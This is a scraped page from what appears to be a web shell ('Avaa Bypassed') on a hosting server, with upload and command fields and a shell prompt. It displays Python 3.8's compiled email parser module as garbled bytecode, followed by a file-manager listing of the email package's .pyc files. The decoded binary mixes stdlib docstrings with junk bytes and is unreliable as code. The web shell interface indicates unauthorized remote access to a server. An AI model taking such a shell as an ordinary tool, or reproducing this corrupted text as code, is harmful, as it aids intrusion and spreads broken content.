[ Avaa Bypassed ]




Upload:

Command:

hmhc3928@3.22.41.80: ~ $
U

��,a��@s�dZddddddgZddlmZmZdd	lmZmZdd
lm	Z	Gdd�d�Z
Gdd�de
�ZGd
d�d�ZGdd�de�Z
dS)z-A parser of RFC 2822 and MIME email messages.�Parser�HeaderParser�BytesParser�BytesHeaderParser�
FeedParser�BytesFeedParser�)�StringIO�
TextIOWrapper)rr)�compat32c@s0eZdZd
ed�dd�Zddd�Zddd	�ZdS)
rN��policycCs||_||_dS)a�Parser of RFC 2822 and MIME email messages.

        Creates an in-memory object tree representing the email message, which
        can then be manipulated and turned over to a Generator to return the
        textual representation of the message.

        The string must be formatted as a block of RFC 2822 headers and header
        continuation lines, optionally preceded by a `Unix-from' header.  The
        header block is terminated either by the end of the string or by a
        blank line.

        _class is the class to instantiate for new message objects when they
        must be created.  This class must have a constructor that can take
        zero arguments.  Default is Message.Message.

        The policy keyword specifies a policy object that controls a number of
        aspects of the parser's operation.  The default policy maintains
        backward compatibility.

        N)�_classr)�selfr
r�r�1/opt/alt/python38/lib64/python3.8/email/parser.py�__init__szParser.__init__FcCs@t|j|jd�}|r|��|�d�}|s,q8|�|�q|��S)a\Create a message structure from the data in a file.

        Reads all the data from the file and returns the root of the message
        structure.  Optional headersonly is a flag specifying whether to stop
        parsing after reading the headers or not.  The default is False,
        meaning it parses the entire contents of the file.
        ri )rr
rZ_set_headersonly�readZfeed�close)r�fp�headersonlyZ
feedparser�datarrr�parse)s
zParser.parsecCs|jt|�|d�S)a-Create a message structure from a string.

        Returns the root of the message structure.  Optional headersonly is a
        flag specifying whether to stop parsing after reading the headers or
        not.  The default is False, meaning it parses the entire contents of
        the file.
        �r)rr�r�textrrrr�parsestr;szParser.parsestr)N)F)F)�__name__�
__module__�__qualname__r
rrrrrrrrs
c@s eZdZddd�Zddd�ZdS)	rTcCst�||d�S�NT)rr�rrrrrrrHszHeaderParser.parsecCst�||d�Sr)rrrrrrrKszHeaderParser.parsestrN)T)T)rrrrrrrrrrGs
c@s(eZdZdd�Zd	dd�Zd
dd�ZdS)rcOst||�|_dS)a�Parser of binary RFC 2822 and MIME email messages.

        Creates an in-memory object tree representing the email message, which
        can then be manipulated and turned over to a Generator to return the
        textual representation of the message.

        The input must be formatted as a block of RFC 2822 headers and header
        continuation lines, optionally preceded by a `Unix-from' header.  The
        header block is terminated either by the end of the input or by a
        blank line.

        _class is the class to instantiate for new message objects when they
        must be created.  This class must have a constructor that can take
        zero arguments.  Default is Message.Message.
        N)r�parser)r�args�kwrrrrQszBytesParser.__init__FcCs0t|ddd�}z|j�||�W�S|��XdS)acCreate a message structure from the data in a binary file.

        Reads all the data from the file and returns the root of the message
        structure.  Optional headersonly is a flag specifying whether to stop
        parsing after reading the headers or not.  The default is False,
        meaning it parses the entire contents of the file.
        �ascii�surrogateescape)�encoding�errorsN)r	�detachr!rr rrrrcszBytesParser.parsecCs|jddd�}|j�||�S)a2Create a message structure from a byte string.

        Returns the root of the message structure.  Optional headersonly is a
        flag specifying whether to stop parsing after reading the headers or
        not.  The default is False, meaning it parses the entire contents of
        the file.
        �ASCIIr%)r')�decoder!rrrrr�
parsebytesrszBytesParser.parsebytesN)F)F)rrrrrr+rrrrrOs
c@s eZdZddd�Zddd�ZdS)	rTcCstj||dd�S�NTr)rrr rrrrszBytesHeaderParser.parsecCstj||dd�Sr,)rr+rrrrr+�szBytesHeaderParser.parsebytesN)T)T)rrrrr+rrrrr~s
N)�__doc__�__all__�iorr	Zemail.feedparserrrZemail._policybaser
rrrrrrrr�<module>s�7/

Filemanager

Name Type Size Permission Actions
__init__.cpython-38.opt-1.pyc File 1.67 KB 0644
__init__.cpython-38.opt-2.pyc File 1.06 KB 0644
__init__.cpython-38.pyc File 1.67 KB 0644
_encoded_words.cpython-38.opt-1.pyc File 5.57 KB 0644
_encoded_words.cpython-38.opt-2.pyc File 3.73 KB 0644
_encoded_words.cpython-38.pyc File 5.57 KB 0644
_header_value_parser.cpython-38.opt-1.pyc File 78.03 KB 0644
_header_value_parser.cpython-38.opt-2.pyc File 61.55 KB 0644
_header_value_parser.cpython-38.pyc File 78.07 KB 0644
_parseaddr.cpython-38.opt-1.pyc File 12.19 KB 0644
_parseaddr.cpython-38.opt-2.pyc File 9.3 KB 0644
_parseaddr.cpython-38.pyc File 12.19 KB 0644
_policybase.cpython-38.opt-1.pyc File 14.48 KB 0644
_policybase.cpython-38.opt-2.pyc File 5.86 KB 0644
_policybase.cpython-38.pyc File 14.48 KB 0644
base64mime.cpython-38.opt-1.pyc File 3.17 KB 0644
base64mime.cpython-38.opt-2.pyc File 1.44 KB 0644
base64mime.cpython-38.pyc File 3.17 KB 0644
charset.cpython-38.opt-1.pyc File 11.17 KB 0644
charset.cpython-38.opt-2.pyc File 4.99 KB 0644
charset.cpython-38.pyc File 11.21 KB 0644
contentmanager.cpython-38.opt-1.pyc File 7.2 KB 0644
contentmanager.cpython-38.opt-2.pyc File 7.2 KB 0644
contentmanager.cpython-38.pyc File 7.2 KB 0644
encoders.cpython-38.opt-1.pyc File 1.59 KB 0644
encoders.cpython-38.opt-2.pyc File 1.25 KB 0644
encoders.cpython-38.pyc File 1.59 KB 0644
errors.cpython-38.opt-1.pyc File 5.78 KB 0644
errors.cpython-38.opt-2.pyc File 4.38 KB 0644
errors.cpython-38.pyc File 5.78 KB 0644
feedparser.cpython-38.opt-1.pyc File 10.26 KB 0644
feedparser.cpython-38.opt-2.pyc File 8.63 KB 0644
feedparser.cpython-38.pyc File 10.41 KB 0644
generator.cpython-38.opt-1.pyc File 12.25 KB 0644
generator.cpython-38.opt-2.pyc File 8.63 KB 0644
generator.cpython-38.pyc File 12.25 KB 0644
header.cpython-38.opt-1.pyc File 16.07 KB 0644
header.cpython-38.opt-2.pyc File 10.58 KB 0644
header.cpython-38.pyc File 16.07 KB 0644
headerregistry.cpython-38.opt-1.pyc File 21.49 KB 0644
headerregistry.cpython-38.opt-2.pyc File 15.86 KB 0644
headerregistry.cpython-38.pyc File 21.54 KB 0644
iterators.cpython-38.opt-1.pyc File 1.89 KB 0644
iterators.cpython-38.opt-2.pyc File 1.28 KB 0644
iterators.cpython-38.pyc File 1.89 KB 0644
message.cpython-38.opt-1.pyc File 37 KB 0644
message.cpython-38.opt-2.pyc File 20.83 KB 0644
message.cpython-38.pyc File 37 KB 0644
parser.cpython-38.opt-1.pyc File 5.6 KB 0644
parser.cpython-38.opt-2.pyc File 2.66 KB 0644
parser.cpython-38.pyc File 5.6 KB 0644
policy.cpython-38.opt-1.pyc File 9.45 KB 0644
policy.cpython-38.opt-2.pyc File 3.38 KB 0644
policy.cpython-38.pyc File 9.45 KB 0644
quoprimime.cpython-38.opt-1.pyc File 7.51 KB 0644
quoprimime.cpython-38.opt-2.pyc File 4.12 KB 0644
quoprimime.cpython-38.pyc File 7.51 KB 0644
utils.cpython-38.opt-1.pyc File 9.33 KB 0644
utils.cpython-38.opt-2.pyc File 6.09 KB 0644
utils.cpython-38.pyc File 9.33 KB 0644